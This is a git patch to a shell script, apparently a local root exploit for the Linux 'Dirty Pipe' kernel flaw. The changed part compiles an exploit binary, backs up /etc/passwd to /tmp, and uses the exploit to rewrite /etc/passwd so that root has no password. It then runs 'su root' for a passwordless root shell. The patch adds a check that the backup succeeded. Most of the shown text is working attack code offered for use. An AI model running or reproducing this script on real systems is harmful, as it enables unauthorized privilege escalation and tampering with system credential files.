From f49084994c41b2300fa5ce73cf6adfb8a7b49bc0 Mon Sep 17 00:00:00 2001
From: imfiver <iryzezr@gmail.com>
Date: Wed, 9 Mar 2022 16:40:29 +0800
Subject: [PATCH] backup passwd file

---
 Dirty-Pipe.sh | 18 +++++++++++++-----
 1 file changed, 13 insertions(+), 5 deletions(-)

diff --git a/Dirty-Pipe.sh b/Dirty-Pipe.sh
index 7348b56..5494b60 100644
--- a/Dirty-Pipe.sh
+++ b/Dirty-Pipe.sh
@@ -161,11 +161,19 @@ EOF
 gcc exp.c -o exp -std=c99
 
 # 备份密码文件
+rm -f /tmp/passwd
 cp /etc/passwd /tmp/passwd
-passwd_tmp=$(cat /etc/passwd|head)
-./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
+if [ -f "/tmp/passwd" ];then
+	echo "/etc/passwd已备份到/tmp/passwd"
+	passwd_tmp=$(cat /etc/passwd|head)
+	./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
 
-echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
+	echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
+
+	# 现在可以无需密码切换到root账号
+	su root
+else
+	echo "/etc/passwd未备份到/tmp/passwd"
+	exit 1
+fi
 
-# 现在可以无需密码切换到root账号
-su root